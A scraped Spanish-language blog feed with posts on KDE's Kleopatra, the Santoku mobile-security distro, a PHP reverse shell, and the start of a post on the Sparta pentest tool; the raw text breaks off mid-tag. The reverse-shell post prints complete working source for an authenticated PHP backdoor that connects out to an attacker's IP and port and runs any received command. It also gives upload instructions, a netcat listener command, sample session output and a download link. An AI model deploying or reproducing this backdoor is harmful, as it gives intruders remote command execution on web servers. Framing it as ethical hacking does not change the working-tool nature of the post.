src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhWVDTQ2S-51LfmxU6tf2_ItvpYFTT04I2NfnKovSn8LpmK_8ezzQ14xpn8aDijhAYaJhL4uyWaMn1ClF1rwAi1T67SoLMRDTvPGOhAmWrqDoBxTbEV_jqag-bWDl_q9nt2AtTKqVaHGxw/s1600/kmail2-kleopatra.png" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <b>KLEOPATRA</b></div> <div class="separator" style="clear: both; text-align: center;"> <b><br /></b></div> <div class="separator" style="clear: both; text-align: justify;"> Es la herramienta de KDE para manejar certificados X 509 y OpenPGP y almacenes de certificados GPG y para recuperar certificados de servidores LDAP y otros servidores de certificados.</div> <div class="separator" style="clear: both; text-align: justify;"> Tambien sirve para cifrar los correos electrónicos enviados desde el gestor Kmail. Pero lo que realmente nos interesa es la utilidad de esta aplicación, que permite cifrar y proteger nuestros documentos con un solo click.</div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div style="text-align: center;"> <a href="https://www.kde.org/images/screenshots/resized/kleopatra.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="392" src="https://www.kde.org/images/screenshots/resized/kleopatra.png" width="640" /></a></div> <div style="text-align: center;"> <br /></div> <div style="text-align: justify;"> La función principal de <b>Kleopatra </b>es mostrar y editar el contenido de la caja de claves local, que es similar al concepto de los anillos de claves de <b>GPG</b>, aunque no se ajuste demasiado a esta analogía.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Puede econtrar el <b>Tutorial</b> completamente en español de <b><a href="https://docs.kde.org/stable/es/kdepim/kleopatra/kleopatra.pdf" target="_blank">Kleopatra</a>&nbsp;</b>en la web de <b><a href="https://docs.kde.org/stable/es/kdepim/kleopatra/kleopatra.pdf" target="_blank">KDE</a></b></div> </div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-66803337930420319952015-03-10T13:38:00.002-05:002015-03-10T13:38:49.880-05:00<div class="separator" style="clear: both; text-align: center;"> <a href="https://caminhandolivre.files.wordpress.com/2012/08/action-santoku-logo.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="203" src="https://caminhandolivre.files.wordpress.com/2012/08/action-santoku-logo.jpg" width="400" /></a></div> <br /> <div style="text-align: center;"> <b>Mobile Forensics, Análisis de Malware y Pentesting</b></div> <div style="text-align: center;"> <b><br /></b></div> Es muy conocido que existen miles de distro para propósitos de seguridad y se multiplican como conejos por su gran versatilidad y facilidad para montar rápidamente laboratorios de pruebas.<br /> <br /> <div style="text-align: justify;"> Sin embargo esta distro me ha llamado algo la atención no es una mas de las demas conocidas ya que esta tiene como focus los dispositivos moviles una tecnología que ha tomado mucho auge en nuestro ámbito. la distro contiene una gran cantidad de herramientas O<b>pen Source</b> para facilitarnos en tres trabajos, Análisis Forense a dispositivos móviles, &nbsp;análisis de malware y pentesting. todo esto centrado a las plataformas móviles como Android, iOS y Windows Phone.</div> <br /> <span style="font-size: large;"><b>Contenido</b></span><br /> Estas son algunas de las herramientas que podemos encontrar en la distro.<br /> <br /> <b>Herramientas de desarrollo:</b><br /> <br /> <ul> <li>Android SDK Manager</li> <li>DroidBox</li> <li>Eclipse IDE</li> <li>AXMLPrinter2</li> <li>Fastboot</li> <li>Heimdall</li> <li>SBF Flash</li> <li>BlackBerry JDE</li> <li>BlackBerry Tablet OS SDK</li> <li>BlackBerry Ripple</li> <li>BlackBerry WebWorks</li> <li>Windows Phone SDK</li> <li>SecurityCompass Lab Server (HTTP y HTTPS)</li> </ul> <br /> <b>Analizadores Wireless</b><br /> <br /> <ul> <li>Chaosreader</li> <li>dnschef</li> <li>DSniff</li> <li>TCPDUMP</li> <li>Wireshark</li> </ul> <br /> <b>Ingeniería inversa:</b><br /> <br /> <ul> <li>Androguard</li> <li>Antilvl</li> <li>APK Tool</li> <li>Baksmali</li> <li>Dex2Jar</li> <li>Jasmin</li> <li>JD-GUI</li> <li>Mercury</li> <li>Radare2</li> <li>Smali</li> </ul> <br /> <b>Herramientas forenses:</b><br /> <br /> <ul> <li>AFLogical Open Source Edition</li> <li>Android Brute Force Encryption</li> <li>ExifTool</li> <li>iPhone Backup Analyzer</li> <li>libimobiledevice</li> <li>scalpel</li> <li>Sleuth Kit</li> </ul> <br /> <b>Pruebas de Penetración:</b><br /> <br /> <ul> <li>Burp Suite</li> <li>Ettercap</li> <li>nmap</li> <li>SSL Strip</li> <li>w3af</li> <li>ZAP</li> <li>Zenmap</li> </ul> <br /> <b>Infraestructura móvil:</b><br /> <br /> <ul> <li>BES Express</li> <li>Google Mobile Management</li> <li>iPhone Configuration Tool</li> </ul> <br /> En el <a href="https://santoku-linux.com/blog" target="_blank"><b>blog oficial</b></a>&nbsp; y <b><a href="https://santoku-linux.com/howtos" target="_blank">How To</a>&nbsp;</b>de la distro podrá encontrar unos buena documentación (Ingles) en el uso de las herramientas bajo la distro.<br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://santoku-linux.com/download" target="_blank"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB31JcK8sOQ7HfLgyzIrx_fW_-4ipvS3N9gM-V7XZUHifsdF_K2w08YBG_6FVfvOvKHGmgaayTsBYdzNyI3s3zZYJHLhnsuZLLYLEYZIWYR334xn-HMYkGT7AfWU8wgpUDpUNDZALCreQ/s1600/download.png" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <br /> <br />Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-45461677895940301802015-03-09T11:29:00.000-05:002015-03-09T11:29:41.914-05:00<div class="separator" style="clear: both; text-align: center;"> <a href="http://hacksys.vfreaks.com/wp-content/uploads/2012/10/konsole177x177.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://hacksys.vfreaks.com/wp-content/uploads/2012/10/konsole177x177.png" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> Esta herramienta está diseñada para situaciones en la que un pentester tiene acceso a un servidor web que ejecuta PHPy requiere de una S<b>hell </b>para trabajos de <b>Ethical Hacking</b>.<br /> <br /> Este <b>Script </b>se debe subir en algún lugar de la raíz &nbsp;del sitio web, después ejecutarlo accediendo a la URL correspondiente en su navegador. La Shell se abrirá bajo una conexión TCP desde el servidor web a un host y el puerto definido en el guión.<br /> <br /> Esta <b>Shell&nbsp;</b>es adecuada para que se puedan ejecutar programas interactivos como <b>Telnet</b> y <b>SSH</b>.<br /> Esta <b>Shell</b>&nbsp;tiene una función de autenticación incorporada que evita que otra persona abuse de su <b>Backdoor</b>.<br /> Se diferencia de las demas <b>Shell</b>&nbsp;de formulario de autenticacion basado en Web que le permite enviar un solo comando,<br /> <div> <h2 style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 0px; color: #2d2d2d; font-family: 'Concert One', arial, sans-serif; line-height: 1em; margin: 0px; outline: 0px; padding: 0px 0px 5px; vertical-align: baseline;"> <span style="font-family: Nova Square, arial, sans-serif; font-size: large;">Modificación</span><span style="font-family: 'Nova Square', arial, sans-serif;"><span style="font-size: large;">&nbsp;de&nbsp;conexión&nbsp;en el Cod.&nbsp;</span></span></h2> </div> <!-- HTML generated using hilite.me --><br /> <div style="background: #202020; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <table><tbody> <tr><td><pre style="line-height: 125%; margin: 0;"><span style="font-size: large;">1 2 3</span></pre> </td><td><pre style="line-height: 125%; margin: 0;"><span style="font-size: large;"><span style="color: #d0d0d0;">$ip = "127.0.0.1"; #Cambie esto a su IP </span> <span style="color: #d0d0d0;">$puerto = 4444; #Cambie esto a su puerto</span> <span style="color: #d0d0d0;">$contraseña = base64_decode("aGFja3N5c3RlYW0="); #Contraseña por defecto: hacksysteam (MD5)</span></span> </pre> </td></tr> </tbody></table> </div> <br /> Cambie los valores según su necesidad y situación<br /> <br /> <h2 style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 0px; margin: 0px; outline: 0px; padding: 0px 0px 5px; vertical-align: baseline;"> <span style="color: #2d2d2d; font-family: 'Nova Square', arial, sans-serif; font-size: large; line-height: 24px;">Configuración&nbsp;de NetCat Receptor:</span></h2> <div style="text-align: justify;"> Inicie un receptor <b>Netcat</b> en un host y el puerto que será accesible por el servidor web.</div> <div> Utilice el mismo puerto en este momento según lo especificado en el script de shell inversa, por ejemplo, (<b>4444</b>):<br /> <br /> <!-- HTML generated using hilite.me --><br /> <div style="background: #202020; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <table><tbody> <tr><td><pre style="line-height: 125%; margin: 0;">1</pre> </td><td><pre style="line-height: 125%; margin: 0;"><span style="color: #d0d0d0; font-size: large;">C:\Users\Antony\netcat&amp;amp;gt;:~ # nc -lvvp 4444</span> </pre> </td></tr> </tbody></table> </div> <br /> <b><span style="font-size: large;">Subir el Script y Ejecutarlo:</span></b></div> <div style="text-align: justify;"> Subir el Script de Shell Inversa. Ejecute el script simplemente buscando el archivo recién cargado en su navegador web.</div> <div style="text-align: justify;"> <br /> <!-- HTML generated using hilite.me --><br /> <div style="background: #202020; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <table><tbody> <tr><td><pre style="line-height: 125%; margin: 0;"><span style="font-size: large;">1</span></pre> </td><td><pre style="line-height: 125%; margin: 0;"><span style="font-size: large;"><span style="color: #d0d0d0;">http:/&lt;IP&gt;/&lt;RUTA/&lt;Script&gt;.php</span> </span></pre> </td></tr> </tbody></table> </div> <br /> <br /></div> <div> <b><span style="font-size: large;">Nota</span></b>: No verá ninguna salida en la página web, si esta tiene activada (<b>display errors) </b>puede que muestre algun warning o error y la pagina queda en un lapso de espera,&nbsp;de ser asi haga caso omiso y revise su <b>NetCat Listener.</b></div> <div> <b><br /></b></div> <div> En el encontrara la captura del login del script, digite la contraseña configurada para ingresar a la <b>Shell</b>:<br /> <div style="text-align: start;"> <div style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 0px; font-family: 'Nova Square', arial, sans-serif; font-size: 1.2em; line-height: 24px; outline: 0px; padding: 0px 0px 10px; vertical-align: baseline;"> <br /> <!-- HTML generated using hilite.me --><br /> <div style="background: #202020; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <table><tbody> <tr><td><pre style="line-height: 125%; margin: 0;"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34</pre> </td><td><pre style="line-height: 125%; margin: 0;"><span style="color: #cccccc;">C:\Users\Antony\netcat&gt;nc -lvvp 4444</span> <span style="color: #cccccc;">listening on [any] 4444 ...</span> <span style="color: #cccccc;">connect to [127.0.0.1] from localhost127.0.0.1 [127.0.0.1] 4077</span> <span style="color: #cccccc;"> _ _ _ _____</span> <span style="color: #cccccc;">| | | | | | / ____|</span> <span style="color: #cccccc;">| |__| | __ _ ___| | _| (___ _ _ ___</span> <span style="color: #cccccc;">| __ |/ _` |/ __| |/ /\___ \| | | / __|</span> <span style="color: #cccccc;">| | | | (_| | (__| &lt; ____) | |_| \__ \</span> <span style="color: #cccccc;">|_| |_|\__,_|\___|_|\_\_____/ \__, |___/</span> <span style="color: #cccccc;"> _______ __/ |</span> <span style="color: #cccccc;">|__ __| |___/</span> <span style="color: #cccccc;"> | | ___ __ _ _ __ ___</span> <span style="color: #cccccc;"> | |/ _ \/ _` | '_ ` _ \</span> <span style="color: #cccccc;"> | | __/ (_| | | | | | |</span> <span style="color: #cccccc;"> |_|\___|\__,_|_| |_| |_|</span> <span style="color: #cccccc;"> Reverse Shell in PHP</span> <span style="color: #cccccc;"> Author: Ashfaq Ansari</span> <span style="color: #cccccc;"> hacksysteam@hotmail.com</span> <span style="color: #cccccc;"> http://hacksys.vfreaks.com/</span> <span style="color: #cccccc;">Enter Password: hacksysteam</span> <span style="color: #cccccc;">Authentication Successfull..</span> <span style="color: #cccccc;">System Information:</span> <span style="color: #cccccc;">Current Working Directory:</span> <span style="color: #cccccc;">User Group:</span> <span style="color: #cccccc;">Current Date and Time: La fecha actual es: 09/03/2015</span> <span style="color: #cccccc;">Escriba la nueva fecha: (dd-mm-aa)</span> <span style="color: #cccccc;">@127.0.0.1:~#</span> </pre> </td></tr> </tbody></table> </div> <br /> <br /> <span style="font-size: large;"><b>Código</b></span><b><span style="font-size: large;">&nbsp;Fuente de la Shell Inversa</span></b><br /> <br /> <!-- HTML generated using hilite.me --><br /> <div style="background: #202020; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;"> <table><tbody> <tr><td><pre style="line-height: 125%; margin: 0;"> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101</pre> </td><td><pre style="line-height: 125%; margin: 0;"><span style="color: #cd2828; font-weight: bold;">&lt;?php</span> <span style="color: #999999; font-style: italic;">###################################################</span> <span style="color: #999999; font-style: italic;"># Reverse Shell v1.0 #</span> <span style="color: #999999; font-style: italic;"># Authentication Feature #</span> <span style="color: #999999; font-style: italic;"># #</span> <span style="color: #999999; font-style: italic;"># Hacksys Team - Panthera #</span> <span style="color: #999999; font-style: italic;"># Author: Ashfaq Ansari #</span> <span style="color: #999999; font-style: italic;"># hacksysteam@hotmail.com #</span> <span style="color: #999999; font-style: italic;"># http://hacksys.vfreaks.com #</span> <span style="color: #999999; font-style: italic;"># Designed for Linux #</span> <span style="color: #999999; font-style: italic;"># Thanks to lionaneesh #</span> <span style="color: #999999; font-style: italic;"># lionaneesh@gmail.com #</span> <span style="color: #999999; font-style: italic;">###################################################</span> <span style="color: #24909d;">ini_set</span><span style="color: #d0d0d0;">(</span><span style="color: #ed9d13;">'max_execution_time'</span> <span style="color: #d0d0d0;">,</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">);</span> <span style="color: #40ffff;">$VERSION</span> <span style="color: #d0d0d0;">=</span> <span style="color: #ed9d13;">"1.0"</span><span style="color: #d0d0d0;">;</span> <span style="color: #40ffff;">$ip</span> <span style="color: #d0d0d0;">=</span> <span style="color: #ed9d13;">"127.0.0.1"</span><span style="color: #d0d0d0;">;</span> <span style="color: #999999; font-style: italic;">#Change this</span> <span style="color: #40ffff;">$port</span> <span style="color: #d0d0d0;">=</span> <span style="color: #3677a9;">4444</span><span style="color: #d0d0d0;">;</span> <span style="color: #999999; font-style: italic;">#Change this</span> <span style="color: #40ffff;">$password</span> <span style="color: #d0d0d0;">=</span> <span style="color: #24909d;">base64_decode</span><span style="color: #d0d0d0;">(</span><span style="color: #ed9d13;">"aGFja3N5c3RlYW0="</span><span style="color: #d0d0d0;">);</span> <span style="color: #999999; font-style: italic;">#Default Password: hacksysteam (MD5)</span> <span style="color: #40ffff;">$banner</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">(</span><span style="color: #ed9d13;">"</span> <span style="color: #ed9d13;"> _ _ _ _____ </span> <span style="color: #ed9d13;">| | | | | | / ____| </span> <span style="color: #ed9d13;">| |__| | __ _ ___| | _| (___ _ _ ___</span> <span style="color: #ed9d13;">| __ |/ _` |/ __| |/ /\___ \| | | / __|</span> <span style="color: #ed9d13;">| | | | (_| | (__| &lt; ____) | |_| \__ \</span> <span style="color: #ed9d13;">|_| |_|\__,_|\___|_|\_\_____/ \__, |___/</span> <span style="color: #ed9d13;"> _______ __/ | </span> <span style="color: #ed9d13;">|__ __| |___/ </span> <span style="color: #ed9d13;"> | | ___ __ _ _ __ ___ </span> <span style="color: #ed9d13;"> | |/ _ \/ _` | '_ ` _ \</span> <span style="color: #ed9d13;"> | | __/ (_| | | | | | |</span> <span style="color: #ed9d13;"> |_|\___|\__,_|_| |_| |_|</span> <span style="color: #ed9d13;"> </span> <span style="color: #ed9d13;"> Reverse Shell in PHP</span> <span style="color: #ed9d13;"> Author: Ashfaq Ansari</span> <span style="color: #ed9d13;"> hacksysteam@hotmail.com</span> <span style="color: #ed9d13;"> http://hacksys.vfreaks.com/\n\n"</span><span style="color: #d0d0d0;">);</span> <span style="color: #40ffff;">$pwd</span> <span style="color: #d0d0d0;">=</span> <span style="color: #24909d;">shell_exec</span><span style="color: #d0d0d0;">(</span><span style="color: #ed9d13;">"pwd"</span><span style="color: #d0d0d0;">);</span> <span style="color: #40ffff;">$sysinfo</span> <span style="color: #d0d0d0;">=</span> <span style="color: #24909d;">shell_exec</span><span style="color: #d0d0d0;">(</span><span style="color: #ed9d13;">"uname -a"</span><span style="color: #d0d0d0;">);</span> <span style="color: #40ffff;">$id</span> <span style="color: #d0d0d0;">=</span> <span style="color: #24909d;">shell_exec</span><span style="color: #d0d0d0;">(</span><span style="color: #ed9d13;">'id | cut -d "(" -f 2 | cut -d ")" -f 1'</span> <span style="color: #d0d0d0;">);</span> <span style="color: #40ffff;">$date</span> <span style="color: #d0d0d0;">=</span> <span style="color: #24909d;">shell_exec</span><span style="color: #d0d0d0;">(</span><span style="color: #ed9d13;">"date"</span><span style="color: #d0d0d0;">);</span> <span style="color: #40ffff;">$len</span> <span style="color: #d0d0d0;">=</span> <span style="color: #3677a9;">1337</span><span style="color: #d0d0d0;">;</span> <span style="color: #40ffff;">$info</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">(</span><span style="color: #ed9d13;">"</span> <span style="color: #ed9d13;">System Information:\n$sysinfo</span> <span style="color: #ed9d13;">Current Working Directory: $pwd</span> <span style="color: #ed9d13;">User Group: $id</span> <span style="color: #ed9d13;">Current Date and Time: $date\n</span> <span style="color: #ed9d13;">"</span><span style="color: #d0d0d0;">);</span> <span style="color: #6ab825; font-weight: bold;">print</span> <span style="color: #ed9d13;">"\nTrying to connect to: $ip on port $port ...\n\n"</span><span style="color: #d0d0d0;">;</span> <span style="color: #40ffff;">$sockfd</span> <span style="color: #d0d0d0;">=</span> <span style="color: #24909d;">fsockopen</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$ip</span> <span style="color: #d0d0d0;">,</span> <span style="color: #40ffff;">$port</span> <span style="color: #d0d0d0;">,</span> <span style="color: #40ffff;">$errno</span><span style="color: #d0d0d0;">,</span> <span style="color: #40ffff;">$errstr</span> <span style="color: #d0d0d0;">);</span> <span style="color: #6ab825; font-weight: bold;">if</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$errno</span> <span style="color: #d0d0d0;">!=</span> <span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">)</span> <span style="color: #d0d0d0;">{</span> <span style="color: #6ab825; font-weight: bold;">print</span> <span style="color: #ed9d13;">"\n****** Error Occured ******\nError Nnumber: $errno\nError String: $errstr\n\n"</span><span style="color: #d0d0d0;">;</span> <span style="color: #6ab825; font-weight: bold;">die</span><span style="color: #d0d0d0;">(</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">);</span> <span style="color: #d0d0d0;">}</span> <span style="color: #6ab825; font-weight: bold;">else</span> <span style="color: #6ab825; font-weight: bold;">if</span> <span style="color: #d0d0d0;">(!</span><span style="color: #40ffff;">$sockfd</span><span style="color: #d0d0d0;">)</span> <span style="color: #d0d0d0;">{</span> <span style="color: #6ab825; font-weight: bold;">print</span> <span style="color: #ed9d13;">"Fatal : An unexpected error was occured when trying to connect!\n"</span><span style="color: #d0d0d0;">;</span> <span style="color: #d0d0d0;">}</span> <span style="color: #6ab825; font-weight: bold;">else</span> <span style="color: #d0d0d0;">{</span> <span style="color: #6ab825; font-weight: bold;">print</span> <span style="color: #ed9d13;">"Connected to: $ip on port $port ...\n\n"</span><span style="color: #d0d0d0;">;</span> <span style="color: #24909d;">fputs</span> <span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span> <span style="color: #d0d0d0;">,</span> <span style="color: #40ffff;">$banner</span><span style="color: #d0d0d0;">);</span> <span style="color: #24909d;">fputs</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span> <span style="color: #d0d0d0;">,</span><span style="color: #ed9d13;">"Enter Password: "</span><span style="color: #d0d0d0;">);</span> <span style="color: #40ffff;">$getpass</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">trim(</span><span style="color: #24909d;">fgets</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span><span style="color: #d0d0d0;">,</span> <span style="color: #24909d;">strlen</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$password</span><span style="color: #d0d0d0;">)</span> <span style="color: #d0d0d0;">+</span> <span style="color: #3677a9;">2</span><span style="color: #d0d0d0;">));</span> <span style="color: #6ab825; font-weight: bold;">if</span> <span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$getpass</span> <span style="color: #d0d0d0;">==</span> <span style="color: #40ffff;">$password</span><span style="color: #d0d0d0;">)</span> <span style="color: #d0d0d0;">{</span> <span style="color: #24909d;">fputs</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span><span style="color: #d0d0d0;">,</span> <span style="color: #ed9d13;">"\nAuthentication Successfull..\n"</span><span style="color: #d0d0d0;">);</span> <span style="color: #24909d;">fputs</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span><span style="color: #d0d0d0;">,</span> <span style="color: #40ffff;">$info</span><span style="color: #d0d0d0;">);</span> <span style="color: #6ab825; font-weight: bold;">while</span><span style="color: #d0d0d0;">(!</span><span style="color: #24909d;">feof</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span><span style="color: #d0d0d0;">))</span> <span style="color: #d0d0d0;">{</span> <span style="color: #40ffff;">$cmdPrompt</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">trim(</span><span style="color: #40ffff;">$id</span><span style="color: #d0d0d0;">)</span> <span style="color: #d0d0d0;">.</span> <span style="color: #ed9d13;">"@"</span> <span style="color: #d0d0d0;">.</span> <span style="color: #d0d0d0;">trim(</span><span style="color: #40ffff;">$ip</span><span style="color: #d0d0d0;">)</span> <span style="color: #d0d0d0;">.</span> <span style="color: #ed9d13;">":~"</span> <span style="color: #d0d0d0;">.</span> <span style="color: #d0d0d0;">trim(</span><span style="color: #40ffff;">$pwd</span><span style="color: #d0d0d0;">)</span> <span style="color: #d0d0d0;">.</span> <span style="color: #ed9d13;">"# "</span><span style="color: #d0d0d0;">;</span> <span style="color: #24909d;">fputs</span> <span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span> <span style="color: #d0d0d0;">,</span> <span style="color: #40ffff;">$cmdPrompt</span> <span style="color: #d0d0d0;">);</span> <span style="color: #40ffff;">$command</span> <span style="color: #d0d0d0;">=</span> <span style="color: #d0d0d0;">trim(</span><span style="color: #24909d;">fgets</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span><span style="color: #d0d0d0;">,</span> <span style="color: #40ffff;">$len</span><span style="color: #d0d0d0;">));</span> <span style="color: #6ab825; font-weight: bold;">if</span> <span style="color: #d0d0d0;">(trim(</span><span style="color: #40ffff;">$command</span><span style="color: #d0d0d0;">)</span> <span style="color: #d0d0d0;">==</span> <span style="color: #ed9d13;">"exit"</span><span style="color: #d0d0d0;">)</span> <span style="color: #d0d0d0;">{</span> <span style="color: #24909d;">fputs</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span> <span style="color: #d0d0d0;">,</span><span style="color: #ed9d13;">"\nAborted by user... Exiting..."</span> <span style="color: #d0d0d0;">);</span> <span style="color: #24909d;">fclose</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span><span style="color: #d0d0d0;">);</span> <span style="color: #6ab825; font-weight: bold;">die</span><span style="color: #d0d0d0;">(</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">);</span> <span style="color: #d0d0d0;">}</span> <span style="color: #24909d;">fputs</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span> <span style="color: #d0d0d0;">,</span> <span style="color: #ed9d13;">"\n"</span> <span style="color: #d0d0d0;">.</span> <span style="color: #24909d;">shell_exec</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$command</span><span style="color: #d0d0d0;">)</span> <span style="color: #d0d0d0;">.</span> <span style="color: #ed9d13;">"\n"</span><span style="color: #d0d0d0;">);</span> <span style="color: #d0d0d0;">}</span> <span style="color: #24909d;">fclose</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span><span style="color: #d0d0d0;">);</span> <span style="color: #6ab825; font-weight: bold;">die</span><span style="color: #d0d0d0;">(</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">);</span> <span style="color: #d0d0d0;">}</span> <span style="color: #6ab825; font-weight: bold;">else</span> <span style="color: #d0d0d0;">{</span> <span style="color: #24909d;">fputs</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span> <span style="color: #d0d0d0;">,</span><span style="color: #ed9d13;">"\nInvalid Password... Quitting..."</span><span style="color: #d0d0d0;">);</span> <span style="color: #24909d;">fclose</span><span style="color: #d0d0d0;">(</span><span style="color: #40ffff;">$sockfd</span><span style="color: #d0d0d0;">);</span> <span style="color: #6ab825; font-weight: bold;">die</span><span style="color: #d0d0d0;">(</span><span style="color: #3677a9;">0</span><span style="color: #d0d0d0;">);</span> <span style="color: #d0d0d0;">}</span> <span style="color: #d0d0d0;">}</span> <span style="color: #cd2828; font-weight: bold;">?&gt;</span><span style="color: #d0d0d0;"></span> </pre> </td></tr> </tbody></table> </div> <br /> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://mega.co.nz/#!CtllHYwS!yfnpJio_fKpS0RK7Su4fOQKGzOa1aQgqwYbQm3A2IwY" target="_blank"><img border="0" src="http://i508.photobucket.com/albums/s330/gastong87/Taringa/6hhst1.png" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> Agradecimiento a <b>@Ashfaq Ansari </b>autor del Script.<br /> <br /> <br /></div> </div> </div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-84750766611287342552015-03-04T16:46:00.003-05:002015-03-04T16:46:32.407-05:00<div class="separator" style="clear: both; text-align: center;"> </div> <div style="margin-left: 1em; margin-right: 1em;"> <img src="http://sparta.secforce.com/wp-content/uploads/2015/01/sparta-logo-banner.jpg" height="108" width="400" /></div> <div style="margin-left: 1em; margin-right: 1em;"> <br /></div> <div style="margin-left: 1em; margin-right: 1em;"> Una herramienta mas para el repertorio de <b>(Pentesting Tool's)</b></div> <br /> <br /> <b>¿Que es Sparta?</b><br /> Sparta es una herramienta para pruebas de penetración desarrollada en python. la herramienta fue desarrollada con el objetivo de simplificar las pruebas de pentesting en la fase de exploración y enumeración.<br /> <div> <br /> <div style="text-align: center;"> <iframe allowfullscreen="" frameborder="0" height="270" src="https://www.youtube.com/embed/FwBIIkXig-8" width="480"></iframe></div> <div style="text-align: center;"> <br /></div> <div style="text-align: justify;"> La herramienta al igual que otras herramientas de este tipo funciona como un contenedor de otras herramientas las cual también están destinadas a la seguridad de los sistemas.&nbsp;Básicamente integra <b>NMAP</b>, <b>Hydra</b>, <b>nikto </b>y otras herramientas por debajo para hacernos el trabajo mucho mas simple.</div> <div style="text-align: justify;"> <br /></div> <div> <h3> <b>Requerimientos de instalación</b></h3> <div> <div> Se recomienda Usar la distribución <b><a href="https://www.kali.org/" rel="nofollow" target="_blank">Linux Kali</a></b> (Distribución Linux Centrada en Pentesting) &nbsp;como ya tiene la mayoría de las herramientas instaladas, sin embargo puede instalar&nbsp;<b>SPARTA </b>en los sistemas basados ​​en Debian.<br /> <br /> Descarga la herramienta desde GitHub<br /> <br /> <br /></div> <div> <pre style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Menlo, Monaco, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.42857143; margin-bottom: 20px; overflow: auto; padding: 9.5px; word-break: break-all; word-wrap: break-word;"><em style="box-sizing: border-box;"><span style="box-sizing: border-box; font-weight: 700;">git clone https://github.com/secforce/sparta.git</span></em></pre> </div> <div> <br /></div> </div> </div> </div> <pre style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Menlo, Monaco, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.42857143; margin-bottom: 20px; overflow: auto; padding: 9.5px; word-break: break-all; word-wrap: break-word;"><em style="box-sizing: border-box;"><span style="box-sizing: border-box; font-weight: 700;">&nbsp;apt-get install python-elixir</span></em></pre> Ubuntu 12.04+ (untested)<br /> <pre style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Menlo, Monaco, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.42857143; margin-bottom: 20px; overflow: auto; padding: 9.5px; word-break: break-all; word-wrap: 